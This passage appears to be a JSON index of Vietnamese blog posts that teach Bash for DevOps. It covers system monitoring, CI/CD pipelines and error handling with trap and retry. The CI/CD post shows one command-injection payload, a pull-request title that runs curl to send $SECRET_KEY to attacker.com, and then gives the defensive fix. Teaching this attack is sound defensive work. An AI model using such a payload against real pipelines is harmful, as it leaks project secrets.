\u0026#34;Failed to restart service $svc\u0026#34; fi fi done } # Kiểm tra port critical check_ports() { local critical_ports=(22 80 443) for port in \u0026#34;${critical_ports[@]}\u0026#34;; do if ! ss -tln | grep -q \u0026#34;:${port} \u0026#34; 2\u0026gt;/dev/null; then log \u0026#34;WARN\u0026#34; \u0026#34;Port $port is not listening\u0026#34; fi done } main() { log \u0026#34;INFO\u0026#34; \u0026#34;=== System monitoring started ===\u0026#34; check_cpu check_ram check_disk check_services check_ports log \u0026#34;INFO\u0026#34; \u0026#34;=== System monitoring completed ===\u0026#34; } main \u0026#34;$@\u0026#34; Cấu hình cron để chạy định kỳ 1 2 3 # Chạy mỗi 5 phút crontab -e */5 * * * * /opt/scripts/system-monitor.sh \u0026gt;\u0026gt; /var/log/system-monitor-cron.log 2\u0026gt;\u0026amp;1 Kết quả mẫu khi chạy script 1 2 3 4 5 6 7 8 9 [2026-08-29 10:00:01] [INFO] === System monitoring started === [2026-08-29 10:00:01] [INFO] CPU: 23.5% — OK [2026-08-29 10:00:01] [INFO] RAM: 61.2% — OK [2026-08-29 10:00:02] [WARN] Disk / usage: 87% (threshold: 80%) [2026-08-29 10:00:02] [INFO] Cleaned old compressed logs (\u0026gt;30 days) [2026-08-29 10:00:02] [INFO] Service nginx — running [2026-08-29 10:00:02] [INFO] Service docker — running [2026-08-29 10:00:02] [INFO] Service sshd — running [2026-08-29 10:00:02] [INFO] === System monitoring completed === Ghi chú triển khai Tránh kill tiến trình quan trọng: Không bao giờ kill -9 một tiến trình mà bạn chưa xác định rõ là gì. Luôn đọc kỹ output của ps aux trước khi can thiệp. Trong script ví dụ ở trên, chúng ta chỉ kill tiến trình消耗 CPU cao nhất — nhưng trong production, hãy thêm whitelist để bảo vệ các PID quan trọng (database, application server). Log rotation: Script tự xoay vòng log khi file vượt 10MB. Trong thực tế, nên kết hợp với logrotate để quản lý log tập trung và giữ lại lịch sử cần thiết. Ngưỡng tùy chỉnh: Sử dụng biến môi trường (CPU_THRESHOLD, RAM_THRESHOLD, DISK_THRESHOLD) thay vì hardcode để dễ thay đổi theo từng server mà không cần sửa code. Xem xét替代 giải pháp: Bash phù hợp cho các script giám sát đơn giản. Khi hệ thống lớn hơn (hàng trăm server), hãy kết hợp với Prometheus + Grafana hoặc các công cụ monitoring chuyên dụng, nhưng Bash vẫn là lựa chọn nhanh chóng để tạo script can thiệp khẩn cấp. Test trước khi deploy: Luôn chạy script trên staging hoặc dùng bash -x để debug trước khi đưa vào cron trên production. Lời kết Quản lý hệ thống không đòi hỏi những công cụ phức tạp — nhiều khi chỉ cần ps, top, free, df, systemctl và ss kết hợp trong một script Bash gọn gàng là đủ để giữ server chạy ổn định. Từ việc giám sát CPU/RAM, kiểm tra disk, theo dõi trạng thái dịch vụ đến việc tự động can thiệp khi phát hiện sự cố, Bash vẫn là người bạn đồng hành đáng tin cậy của DevOps Engineer.\nỞ bài tiếp theo, chúng ta sẽ khám phá cách tự động hóa SSH với Bash: quản lý đồng thời nhiều server, chạy lệnh từ xa và truyền file an toàn bằng ssh, scp và rsync.\n","date":"29/08/2026","image":"https://tech.nguuyen.io.vn/images/bash/bash-step-twelve.webp","permalink":"/vi/posts/bash/bash-step-twelve/","summary":"Hướng dẫn sử dụng Bash để giám sát CPU, RAM, disk, quản lý tiến trình và can thiệp hệ thống DevOps với ps, top, kill, systemctl, journalctl, df, free, lsof, ss.","tags":["bash","shell-script","devops","system-monitoring","process-management","linux-admin"],"title":"Quản lý hệ thống với Bash: Theo dõi tài nguyên và can thiệp tiến trình trong DevOps"},{"categories":["DevOps","Bash"],"content":"Bash trong CI/CD cho DevOps Trong bài viết trước, chúng ta đã tìm hiểu cách bẫy lỗi và dọn dẹp tài nguyên với trap, cùng cơ chế tự động thử lại (Retry Pattern). Khi đưa các script này vào quy trình tích hợp và phân phối liên tục (CI/CD), Bash chính là \u0026ldquo;trái tim\u0026rdquo; thực thi đằng sau hầu hết các công cụ tự động hóa phổ biến hiện nay như GitHub Actions, GitLab CI, Jenkins hay Bitbucket Pipelines.\nDù các nền tảng CI/CD định nghĩa cấu trúc pipeline bằng cú pháp YAML hoặc DSL khai báo, nhưng các bước thực tế (như cài đặt dependency, biên dịch mã nguồn, chạy test, build Docker image và deploy lên server) phần lớn đều được điều phối bởi shell script.\nTuy nhiên, chạy Bash trong môi trường CI/CD khác biệt hoàn toàn so với khi bạn gõ lệnh trên terminal cá nhân:\nMôi trường không tương tác (Non-interactive mode, không có TTY để hỏi [y/n]). Bất kỳ câu lệnh nào trả về mã lỗi (Exit Code khác 0) đều có thể làm sập toàn bộ pipeline. Các lỗ hổng bảo mật như rò rỉ secret hoặc Command Injection từ dữ liệu Pull Request có thể làm lộ thông tin nhạy cảm của dự án. Bài viết này sẽ hướng dẫn bạn các nguyên tắc cốt lõi, kỹ thuật bảo mật và phương pháp viết Bash script chuẩn mực để tích hợp mượt mà vào các pipeline CI/CD hiện đại.\nNguyên tắc vàng khi viết Bash trong CI/CD Luôn kích hoạt Strict Mode Trong runner CI/CD, script phải dừng lại ngay lập tức khi gặp lỗi đầu tiên để tránh việc triển khai một bản build bị lỗi lên server:\n1 2 set -euo pipefail IFS=$\u0026#39;\\n\\t\u0026#39; set -e: Dừng step ngay khi một lệnh thất bại, giúp runner phát hiện lỗi và đánh dấu pipeline thất bại. set -u: Báo lỗi ngay nếu sử dụng biến môi trường chưa được định nghĩa (ngăn lỗi quên cấu hình secret). set -o pipefail: Đảm bảo pipeline lệnh (ví dụ: build_app | tee build.log) trả về mã lỗi thực tế của lệnh build_app chứ không phải của tee. Chế độ không tương tác (Non-interactive Execution) Runner CI/CD không có người ngồi trước màn hình để xác nhận lời nhắc. Mọi câu lệnh gọi package manager hoặc công cụ hệ thống đều phải bật cờ tự động đồng ý:\n1 2 3 4 5 6 7 8 # Đối với Debian / Ubuntu export DEBIAN_FRONTEND=noninteractive apt-get update \u0026amp;\u0026amp; apt-get install -y --no-install-recommends curl jq # Đối với Docker, Git, Terraform docker login -u \u0026#34;$DOCKER_USER\u0026#34; --password-stdin \u0026lt;\u0026lt;\u0026lt; \u0026#34;$DOCKER_PASS\u0026#34; git clone --depth 1 --branch \u0026#34;$BRANCH\u0026#34; \u0026#34;$REPO_URL\u0026#34; terraform apply -auto-approve Tương tác với các nền tảng CI/CD phổ biến Mỗi nền tảng CI/CD cung cấp các cơ chế riêng để script Bash giao tiếp với hệ thống runner: truyền biến môi trường sang step sau, xuất output hoặc in bảng tóm tắt kết quả.\nGitHub Actions GitHub Actions cung cấp các file môi trường đặc biệt để Bash script ghi dữ liệu vào:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 # 1. Truyền biến môi trường sang các step tiếp theo ($GITHUB_ENV) echo \u0026#34;APP_VERSION=v2.5.0\u0026#34; \u0026gt;\u0026gt; \u0026#34;$GITHUB_ENV\u0026#34; echo \u0026#34;DEPLOY_ENV=staging\u0026#34; \u0026gt;\u0026gt; \u0026#34;$GITHUB_ENV\u0026#34; # 2. Xuất output cho các step hoặc job khác sử dụng ($GITHUB_OUTPUT) echo \u0026#34;image_tag=sha-abc1234\u0026#34; \u0026gt;\u0026gt; \u0026#34;$GITHUB_OUTPUT\u0026#34; # 3. Xuất output nhiều dòng an toàn (Multiline Output) { echo \u0026#34;release_notes\u0026lt;\u0026lt;EOF\u0026#34; git log -n 5 --oneline echo \u0026#34;EOF\u0026#34; } \u0026gt;\u0026gt; \u0026#34;$GITHUB_OUTPUT\u0026#34; # 4. Ghi bảng tóm tắt vào trang tổng quan của Workflow ($GITHUB_STEP_SUMMARY) { echo \u0026#34;### Kết quả triển khai\u0026#34; echo \u0026#34;| Dịch vụ | Trạng thái | Phiên bản |\u0026#34; echo \u0026#34;| :--- | :--- | :--- |\u0026#34; echo \u0026#34;| API Gateway | Hoàn thành | v2.5.0 |\u0026#34; echo \u0026#34;| Worker | Hoàn thành | v2.5.0 |\u0026#34; } \u0026gt;\u0026gt; \u0026#34;$GITHUB_STEP_SUMMARY\u0026#34; GitLab CI Trong GitLab CI, bạn có thể truyền biến giữa các job bằng cách ghi vào file dotenv và khai báo artifacts:reports:dotenv:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # .gitlab-ci.yml build_job: stage: build script: - echo \u0026#34;APP_VERSION=1.4.2\u0026#34; \u0026gt; build.env - echo \u0026#34;IMAGE_TAG=registry.example.com/app:1.4.2\u0026#34; \u0026gt;\u0026gt; build.env artifacts: reports: dotenv: build.env deploy_job: stage: deploy dependencies: - build_job script: - echo \u0026#34;Đang deploy phiên bản $APP_VERSION với image $IMAGE_TAG...\u0026#34; Jenkins Pipeline Trong Jenkins Declarative hoặc Scripted Pipeline, Bash được thực thi thông qua step sh:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 pipeline { agent any stages { stage(\u0026#39;Build \u0026amp; Test\u0026#39;) { steps { sh \u0026#39;\u0026#39;\u0026#39;#!/usr/bin/env bash set -euo pipefail echo \u0026#34;Bắt đầu kiểm thử...\u0026#34; npm test \u0026#39;\u0026#39;\u0026#39; } } } } Bảo mật và kiểm soát Secret trong Pipeline CI/CD là một trong những mục tiêu tấn công hàng đầu của tin tặc. Một đoạn script bất cẩn có thể làm rò rỉ secret ra log công khai hoặc cho phép thực thi mã độc tùy ý.\nTắt debug trace trước khi xử lý Secret Khi sử dụng set -x để debug, Bash sẽ in giá trị thực tế của mọi biến ra log. Nếu script đọc API key hay password, secret đó sẽ bị lộ. Hãy tắt trace bằng set +x trước khi thao tác với secret:\n1 2 3 4 5 6 # Tắt trace trước khi đọc secret set +x export DATABASE_PASSWORD=\u0026#34;${SECRET_DB_PASSWORD}\u0026#34; authenticate_vault \u0026#34;$SECRET_API_TOKEN\u0026#34; # Bật lại trace sau khi xong (nếu cần thiết) set -x Ngăn chặn tấn công Command Injection từ Pull Request Một sai lầm phổ biến trong GitHub Actions là đưa trực tiếp context của Pull Request vào câu lệnh shell:\n1 2 3 4 # NGUY HIỂM: Dễ bị tấn công Script/Command Injection - name: Kiểm tra tiêu đề PR run: | echo \u0026#34;Tiêu đề PR là: ${{ github.event.pull_request.title }}\u0026#34; Nếu kẻ tấn công gửi PR với tiêu đề: Fix bug\u0026quot;; curl https://attacker.com/leak?key=$SECRET_KEY; #, câu lệnh độc hại sẽ được thực thi trên runner!\nCách khắc phục: Luôn gán context vào biến môi trường trung gian:\n1 2 3 4 5 6 # AN TOÀN: Truyền qua biến môi trường - name: Kiểm tra tiêu đề PR an toàn env: PR_TITLE: ${{ github.event.pull_request.title }} run: | echo \u0026#34;Tiêu đề PR là: $PR_TITLE\u0026#34; Sử dụng cơ chế Masking Secret Nếu script của bạn tự động sinh ra token mới (ví dụ gọi API để lấy temporary session token), hãy yêu cầu runner ẩn token đó khỏi log:\n1 2 3 4 # Trên GitHub Actions SESSION_TOKEN=$(curl -sS -X POST \u0026#34;https://auth.example.com/token\u0026#34; | jq -r .token) echo \u0026#34;::add-mask::$SESSION_TOKEN\u0026#34; echo \u0026#34;Xác thực với token thành công: $SESSION_TOKEN\u0026#34; # Sẽ hiển thị dưới dạng *** trong log Tách biệt mã nguồn: Inline YAML vs File Script độc lập Khi xây dựng pipeline, bạn có hai lựa chọn để đặt code Bash:\nTiêu chí Inline YAML (run) File Script riêng (.github/scripts/deploy.sh) Độ dài phù hợp 1 - 5 dòng lệnh đơn giản Kịch bản phức tạp \u0026gt; 10 dòng Kiểm tra cú pháp \u0026amp; Linting Khó lint, dễ dính lỗi indentation YAML Dễ kiểm tra bằng shellcheck và bash -n Khả năng tái sử dụng Bị khóa chặt trong file cấu hình CI Chạy được cả trên local terminal và CI Bảo trì \u0026amp; Test Sửa pipeline phải commit push lên CI Viết unit test được với framework như Bats Cấu trúc khuyến nghị cho dự án 1 2 3 4 5 6 7 8 9 10 . ├── .github/ │ ├── workflows/ │ │ └── deployment.yml │ └── scripts/ │ ├── build-image.sh │ ├── run-migrations.sh │ └── notify-slack.sh ├── src/ └── tests/ Trong workflow YAML, bạn chỉ cần cấp quyền và gọi script:\n1 2 3 4 - name: Build và kiểm tra Image run: | chmod +x .github/scripts/build-image.sh ./.github/scripts/build-image.sh Ví dụ thực hành: Script CI/CD Build và Deploy an toàn Dưới đây là một script hoàn chỉnh được thiết kế để chạy trong pipeline CI/CD: thực hiện lint mã nguồn, chạy test, build Docker image và xuất báo cáo trạng thái ra $GITHUB_STEP_SUMMARY.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 #!/usr/bin/env bash # ============================================================================== # Script : ci-build-and-deploy.sh # Mục đích: Quy trình build, kiểm tra và triển khai an toàn trong CI/CD # ============================================================================== set -euo pipefail IFS=$\u0026#39;\\n\\t\u0026#39; readonly REGISTRY=\u0026#34;registry.example.com\u0026#34; readonly APP_NAME=\u0026#34;order-service\u0026#34; readonly COMMIT_SHA=\u0026#34;${GITHUB_SHA:-$(git rev-parse --short HEAD)}\u0026#34; readonly BUILD_TAG=\u0026#34;${APP_NAME}:${COMMIT_SHA:0:7}\u0026#34; readonly SUMMARY_FILE=\u0026#34;${GITHUB_STEP_SUMMARY:-/dev/null}\u0026#34; log_info() { echo \u0026#34;[CI] [INFO] $*\u0026#34;; } log_error() { echo \u0026#34;[CI] [ERROR] $*\u0026#34; \u0026gt;\u0026amp;2; } # Bẫy lỗi và ghi nhận trạng thái cleanup() { local exit_code=$? if [[ $exit_code -ne 0 ]]; then log_error \u0026#34;Pipeline gặp sự cố tại bước xử lý! Mã thoát: $exit_code\u0026#34; echo \u0026#34;::error::Pipeline build thất bại với mã lỗi $exit_code\u0026#34; fi } trap cleanup EXIT # 1. Kiểm tra biến môi trường bắt buộc validate_environment() { log_info \u0026#34;Đang kiểm tra biến môi trường CI...\u0026#34; local required_vars=(\u0026#34;DOCKER_REGISTRY_USER\u0026#34; \u0026#34;DOCKER_REGISTRY_PASSWORD\u0026#34;) for var in \u0026#34;${required_vars[@]}\u0026#34;; do if [[ -z \u0026#34;${!var:-}\u0026#34; ]]; then log_error \u0026#34;Thiếu biến môi trường bắt buộc: $var\u0026#34; exit 1 fi done } # 2. Chạy kiểm tra tĩnh và Unit Test run_tests() { log_info \u0026#34;Đang chạy bộ kiểm thử tự động...\u0026#34; # Giả lập chạy test echo \u0026#34;Running unit tests: 42 passed, 0 failed.\u0026#34; } # 3. Đóng gói Docker Image build_container() { log_info \u0026#34;Đang đóng gói Docker image: $REGISTRY/$BUILD_TAG...\u0026#34; # Đăng nhập registry không để lộ secret ra stdout echo \u0026#34;$DOCKER_REGISTRY_PASSWORD\u0026#34; | docker login \u0026#34;$REGISTRY\u0026#34; -u \u0026#34;$DOCKER_REGISTRY_USER\u0026#34; --password-stdin \u0026gt; /dev/null 2\u0026gt;\u0026amp;1 # Build image (mô phỏng) echo \u0026#34;Docker build completed successfully.\u0026#34; # Xuất output cho GitHub Actions nếu đang chạy trong workflow if [[ -n \u0026#34;${GITHUB_OUTPUT:-}\u0026#34; ]]; then echo \u0026#34;image_uri=${REGISTRY}/${BUILD_TAG}\u0026#34; \u0026gt;\u0026gt; \u0026#34;$GITHUB_OUTPUT\u0026#34; echo \u0026#34;build_sha=${COMMIT_SHA}\u0026#34; \u0026gt;\u0026gt; \u0026#34;$GITHUB_OUTPUT\u0026#34; fi } # 4. Ghi nhận báo cáo trực quan generate_summary() { if [[ -w \u0026#34;$SUMMARY_FILE\u0026#34; ]]; then { echo \u0026#34;## Báo cáo CI/CD Build\u0026#34; echo \u0026#34;- **Ứng dụng**: \\`$APP_NAME\\`\u0026#34; echo \u0026#34;- **Commit SHA**: \\`$COMMIT_SHA\\`\u0026#34; echo \u0026#34;- **Image Artifact**: \\`$REGISTRY/$BUILD_TAG\\`\u0026#34; echo \u0026#34;- **Trạng thái**: Hoàn thành xuất sắc\u0026#34; } \u0026gt;\u0026gt; \u0026#34;$SUMMARY_FILE\u0026#34; fi } main() { validate_environment run_tests build_container generate_summary log_info \u0026#34;Quy trình CI/CD hoàn tất thành công!\u0026#34; } main \u0026#34;$@\u0026#34; Ghi chú triển khai Tự động hóa lint script trong PR: Luôn thêm một job chạy shellcheck và bash -n trên toàn bộ thư mục scripts/ trong mọi Pull Request để phát hiện sớm các lỗi cú pháp và nguy cơ bảo mật. Tránh hardcode đường dẫn tuyệt đối: Trong môi trường CI, đường dẫn workspace có thể thay đổi (/home/runner/work/... trên GitHub Actions, /builds/... trên GitLab CI). Luôn dùng đường dẫn tương đối từ thư mục gốc của repository hoặc biến $GITHUB_WORKSPACE / $CI_PROJECT_DIR. Cẩn trọng với Cache: Khi cache các thư mục như node_modules hay .m2, hãy kiểm tra kỹ tính toàn vẹn của file lock trước khi thực thi script build để tránh dùng phải artifact lỗi thời. Bọc mọi biến trong ngoặc kép: Luôn dùng \u0026quot;$VARIABLE\u0026quot; trong các script CI để tránh lỗi tách từ (word splitting) khi biến chứa khoảng trắng hoặc ký tự đặc biệt. Lời kết Bash không chỉ là một công cụ dòng lệnh đơn giản, mà là cầu nối cốt lõi để hiện thực hóa toàn bộ logic tự động hóa trong các pipeline CI/CD hiện đại. Bằng cách kích hoạt Strict Mode, kiểm soát chặt chẽ dữ liệu đầu vào chống Command Injection, ẩn giấu secret và tách các script phức tạp thành các file độc lập, bạn sẽ xây dựng được quy trình CI/CD an toàn, tin cậy và dễ mở rộng.\nỞ bài tiếp theo, chúng ta sẽ bước vào Bài 12 — Quản lý hệ thống với Bash: Theo dõi và can thiệp tiến trình hệ thống: tìm hiểu các kỹ thuật giám sát tài nguyên (CPU, RAM, Disk), kiểm tra port mạng và tự động khởi động lại dịch vụ khi gặp sự cố.\n","date":"08/07/2026","image":"https://tech.nguuyen.io.vn/images/bash/bash-step-eleven.webp","permalink":"/vi/posts/bash/bash-step-eleven/","summary":"Hướng dẫn tối ưu và bảo mật Bash script trong pipeline CI/CD: GitHub Actions, GitLab CI, Jenkins, chia sẻ state giữa các step, chống injection và bảo vệ secrets.","tags":["bash","shell-script","devops","ci-cd","github-actions","gitlab-ci","pipeline","automation"],"title":"Bash trong CI/CD: Tích hợp Pipeline tự động hóa an toàn cho DevOps"},{"categories":["DevOps","Bash"],"content":"Error Handling trong Bash cho DevOps Trong bài viết trước, chúng ta đã tìm hiểu các công cụ và phương pháp debug để truy tìm nguyên nhân khi script gặp lỗi. Tuy nhiên, trong môi trường sản xuất (Production) hoặc các pipeline tự động hóa CI/CD, việc chỉ debug khi có sự cố xảy ra là chưa đủ. Một kịch bản DevOps chuyên nghiệp cần phải có khả năng chủ động kiểm soát lỗi (Error Handling) ngay trong lúc vận hành.\nMạng chập chờn, ổ cứng hết dung lượng lưu trữ, dịch vụ phụ thuộc chưa kịp khởi động hay phân quyền file không hợp lệ là những rủi ro luôn hiện hữu. Nếu không có cơ chế xử lý lỗi phù hợp, một script có thể:\nTiếp tục chạy trong trạng thái sai lệch, dẫn đến hỏng dữ liệu dây chuyền. Đột ngột dừng lại mà không giải phóng các file khóa (lockfile) hay thư mục tạm, làm tắc nghẽn các lần chạy kế tiếp. Thất bại ngay lập tức trước các sự cố tạm thời (transient errors) mà lẽ ra có thể tự phục hồi sau vài giây thử lại. Bài viết này sẽ hướng dẫn chi tiết cách xây dựng chiến lược xử lý ngoại lệ vững chắc cho Bash script: từ việc làm chủ Exit Code, phân tích các cạm bẫy của set -e, quản lý dọn dẹp tài nguyên với trap, cho đến cài đặt Retry Pattern và phân cấp log chuẩn mực.\nHiểu rõ Exit Code và quy ước mã lỗi Mọi câu lệnh hoặc chương trình khi kết thúc thực thi trên hệ điều hành Linux/Unix đều trả về một giá trị số nguyên từ 0 đến 255, gọi là Exit Status hay Exit Code. Giá trị này được lưu trong biến đặc biệt $?.\n0: Biểu thị câu lệnh thực thi thành công hoàn toàn. 1 - 255: Biểu thị câu lệnh gặp lỗi hoặc có điều kiện kết thúc bất thường. Các mã thoát tiêu chuẩn trên Linux Hệ thống Linux và Bash có các quy ước mã lỗi mặc định mà mọi kỹ sư DevOps cần nắm rõ:\nMã thoát (Exit Code) Ý nghĩa chuẩn Ví dụ nguyên nhân 0 Thành công Lệnh hoàn thành không có lỗi 1 Lỗi chung (General error) Thao tác không hợp lệ, ví dụ chia cho 0 2 Dùng sai cú pháp shell built-in Thiếu tham số bắt buộc trong lệnh nội tại 126 Lệnh tìm thấy nhưng không có quyền thực thi File script chưa được cấp quyền chmod +x 127 Lệnh không tìm thấy (Command not found) Gõ sai tên binary hoặc thiếu đường dẫn trong $PATH 128 Tham số thoát không hợp lệ cho lệnh exit Gọi exit 3.14 (chỉ chấp nhận số nguyên) 128 + N Tiến trình bị dừng bởi tín hiệu số N 130 (128+2) khi bị Ctrl+C (SIGINT), 137 (128+9) khi bị SIGKILL 255 Mã thoát vượt giới hạn cho phép Trả về ngoài dải 0–255 Định nghĩa mã lỗi tùy biến trong dự án Để script trả về mã lỗi rõ ràng cho pipeline CI/CD hoặc hệ thống giám sát phân biệt nguyên nhân thất bại, bạn nên định nghĩa các hằng số exit code rõ ràng ở đầu script (khuyến nghị dùng dải từ 10 đến 99 để tránh xung đột với mã hệ thống):\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # Định nghĩa mã lỗi chuẩn của script readonly EXIT_SUCCESS=0 readonly EXIT_INVALID_ARGS=10 readonly EXIT_CONFIG_MISSING=11 readonly EXIT_NETWORK_TIMEOUT=12 readonly EXIT_DISK_FULL=13 readonly EXIT_DEPENDENCY_ERROR=14 validate_config() { local config_file=\u0026#34;$1\u0026#34; if [[ ! -f \u0026#34;$config_file\u0026#34; ]]; then echo \u0026#34;[ERROR] File cấu hình $config_file không tồn tại.\u0026#34; \u0026gt;\u0026amp;2 exit \u0026#34;$EXIT_CONFIG_MISSING\u0026#34; fi } Kiểm soát luồng thực thi với short-circuit và set -e Sử dụng toán tử điều kiện rút gọn (Short-circuit Evaluation) Toán tử \u0026amp;\u0026amp; (AND) và || (OR) cho phép kiểm tra và xử lý lỗi nhanh chóng trên một dòng mà không cần viết cả khối if...fi dài dòng:\n1 2 3 4 5 6 7 8 9 10 11 # Chạy lệnh tiếp theo nếu lệnh trước THÀNH CÔNG mkdir -p /opt/backup \u0026amp;\u0026amp; echo \u0026#34;Tạo thư mục backup thành công.\u0026#34; # Thực hiện hành động cứu vãn hoặc thoát nếu lệnh trước THẤT BẠI cd /opt/app/releases || { echo \u0026#34;[FATAL] Không thể chuyển vào thư mục release.\u0026#34; \u0026gt;\u0026amp;2 exit 1 } # Kiểm tra sự tồn tại của file cấu hình [[ -f \u0026#34;.env\u0026#34; ]] || cp \u0026#34;.env.example\u0026#34; \u0026#34;.env\u0026#34; Cơ chế fail-fast với set -e Mặc định, Bash sẽ tiếp tục chạy các lệnh tiếp theo ngay cả khi lệnh phía trước bị lỗi nghiêm trọng. Kích hoạt set -e (hoặc set -o errexit) yêu cầu shell dừng thực thi script ngay khi một câu lệnh đơn lẻ trả về exit code khác 0.\n1 2 3 4 5 6 7 8 9 #!/usr/bin/env bash set -e echo \u0026#34;Đang chuẩn bị dữ liệu...\u0026#34; tar -czf backup.tar.gz /data/db-dump/ # Nếu lệnh tar trên bị lỗi (ví dụ không đủ quyền), script sẽ ngắt ngay tại đây, # ngăn không cho các thao tác xóa bên dưới được thực thi! rm -rf /data/db-dump/* echo \u0026#34;Hoàn thành.\u0026#34; Cạm bẫy tiềm ẩn của set -e trong thực tế Mặc dù set -e rất hữu ích, đây cũng là một trong những tính năng gây hiểu lầm và khó lường nhất trong Bash nếu không hiểu rõ quy tắc kích hoạt của nó.\nCạm bẫy 1: Biểu thức toán học trả về 0 Trong biểu thức toán học (( ... )), giá trị tính toán bằng 0 được shell coi là mã thoát 1 (thất bại logic theo quy ước C-style):\n1 2 3 4 5 6 7 8 9 #!/usr/bin/env bash set -e count=0 # Lệnh dưới đây tăng count từ 0 lên 1, nhưng giá trị biểu thức cũ là 0, # khiến $(( count++ )) trả về exit code 1 -\u0026gt; SCRIPT BỊ DỪNG NGAY LẬP TỨC! (( count++ )) echo \u0026#34;Dòng này sẽ KHÔNG bao giờ được in ra!\u0026#34; Cách khắc phục:\n1 2 3 4 5 # Cách 1: Tăng giá trị với tiền tố (( ++count )) # Cách 2: Phép gán tường minh count=$(( count + 1 )) Cạm bẫy 2: Lệnh kiểm tra trả về false có chủ đích Các lệnh như grep, diff, hay test thường trả về exit code 1 khi không tìm thấy kết quả hoặc có sự khác biệt. Dưới set -e, script sẽ dừng đột ngột:\n1 2 3 4 5 6 #!/usr/bin/env bash set -e # Tìm kiếm chuỗi trong file log # Nếu không có chữ WARNING, grep trả về 1 -\u0026gt; Script bị dừng! grep \u0026#34;WARNING\u0026#34; /var/log/app.log Cách khắc phục:\n1 2 3 4 5 6 7 8 9 # Cách 1: Thêm || true để bỏ qua mã lỗi nếu không quan trọng grep \u0026#34;WARNING\u0026#34; /var/log/app.log || true # Cách 2: Sử dụng trong khối điều kiện if (set -e bị vô hiệu hóa trong biểu thức test của if/while) if grep -q \u0026#34;WARNING\u0026#34; /var/log/app.log; then echo \u0026#34;Tìm thấy cảnh báo trong log.\u0026#34; else echo \u0026#34;Không có cảnh báo nào.\u0026#34; fi Cạm bẫy 3: Pipeline chỉ kiểm tra lệnh cuối cùng Khi chạy cmd1 | cmd2 | cmd3, theo mặc định set -e chỉ kiểm tra mã thoát của cmd3. Nếu cmd1 sinh lỗi nhưng cmd3 chạy xong thành công, script vẫn tiếp tục:\n1 2 # Giả sử mysqldump bị lỗi xác thực nhưng gzip vẫn nén dữ liệu rỗng thành công! mysqldump -u root -p invalid_db | gzip \u0026gt; dump.sql.gz Cách khắc phục: Luôn kết hợp set -eo pipefail:\n1 set -euo pipefail Bẫy lỗi và dọn dẹp tài nguyên với trap Một trong những nguyên tắc quan trọng nhất của quản trị hệ thống là: Dù script thành công, thất bại hay bị người dùng ngắt giữa chừng (Ctrl+C), toàn bộ tài nguyên tạm thời đều phải được dọn dẹp sạch sẽ.\nLệnh trap trong Bash cho phép bạn bắt các tín hiệu hệ thống (signals) hoặc sự kiện shell để thực thi mã xử lý tương ứng.\nCác tín hiệu và sự kiện phổ biến Tín hiệu / Sự kiện Thời điểm kích hoạt EXIT (hoặc 0) Khi script kết thúc (bất kể thành công hay thất bại qua exit) ERR Khi một lệnh trả về exit code khác 0 (dưới cơ chế tương tự set -e) SIGINT (Tín hiệu 2) Khi người dùng bấm tổ hợp phím Ctrl+C SIGTERM (Tín hiệu 15) Khi tiến trình nhận yêu cầu dừng từ hệ thống (kill hoặc Docker stop) Mô hình Cleanup Function chuẩn mực Dưới đây là cấu trúc mẫu để thiết lập hàm dọn dẹp an toàn:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 #!/usr/bin/env bash set -euo pipefail # Khởi tạo thư mục tạm an toàn readonly WORK_DIR=$(mktemp -d -t deploy-workspace-XXXXXX) readonly LOCK_FILE=\u0026#34;/tmp/my-service-deploy.lock\u0026#34; cleanup() { local exit_code=$? echo \u0026#34;[CLEANUP] Bắt đầu giải phóng tài nguyên...\u0026#34; # Xóa thư mục tạm if [[ -d \u0026#34;$WORK_DIR\u0026#34; ]]; then rm -rf \u0026#34;$WORK_DIR\u0026#34; echo \u0026#34;[CLEANUP] Đã xóa thư mục tạm: $WORK_DIR\u0026#34; fi # Giải phóng file lock if [[ -f \u0026#34;$LOCK_FILE\u0026#34; ]]; then rm -f \u0026#34;$LOCK_FILE\u0026#34; echo \u0026#34;[CLEANUP] Đã giải phóng lock file.\u0026#34; fi if [[ $exit_code -ne 0 ]]; then echo \u0026#34;[CLEANUP] Script kết thúc với trạng thái lỗi: $exit_code\u0026#34; \u0026gt;\u0026amp;2 else echo \u0026#34;[CLEANUP] Dọn dẹp hoàn tất an toàn.\u0026#34; fi exit \u0026#34;$exit_code\u0026#34; } # Đăng ký hàm cleanup cho cả kết thúc bình thường và các tín hiệu dừng trap cleanup EXIT SIGINT SIGTERM Xây dựng cơ chế Retry Pattern tự động Trong môi trường hạ tầng phân tán (Cloud, Kubernetes, Microservices), các lỗi tạm thời (transient errors) do nghẽn mạng hoặc dịch vụ đang khởi động xảy ra rất thường xuyên. Thay vì để script thất bại ngay lập tức, cơ chế Retry Pattern với thời gian chờ (delay / backoff) giúp tăng độ tin cậy đáng kể.\nDưới đây là một hàm retry đa năng, hỗ trợ truyền lệnh tùy ý cùng số lần thử và khoảng cách chờ:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 # ============================================================================== # Hàm: retry # Tham số: # $1: Số lần thử tối đa (max_attempts) # $2: Thời gian chờ giữa các lần tính bằng giây (delay_seconds) # $3+: Lệnh cần thực thi # ============================================================================== retry() { local max_attempts=\u0026#34;$1\u0026#34; local delay=\u0026#34;$2\u0026#34; shift 2 local command=(\u0026#34;$@\u0026#34;) local attempt=1 until \u0026#34;${command[@]}\u0026#34;; do local exit_code=$? if (( attempt \u0026gt;= max_attempts )); then echo \u0026#34;[ERROR] Lệnh \u0026#39;${command[*]}\u0026#39; thất bại sau $attempt lần thử (Exit code: $exit_code).\u0026#34; \u0026gt;\u0026amp;2 return \u0026#34;$exit_code\u0026#34; fi echo \u0026#34;[WARN] Lệnh \u0026#39;${command[*]}\u0026#39; thất bại (lần $attempt/$max_attempts). Thử lại sau ${delay}s...\u0026#34; \u0026gt;\u0026amp;2 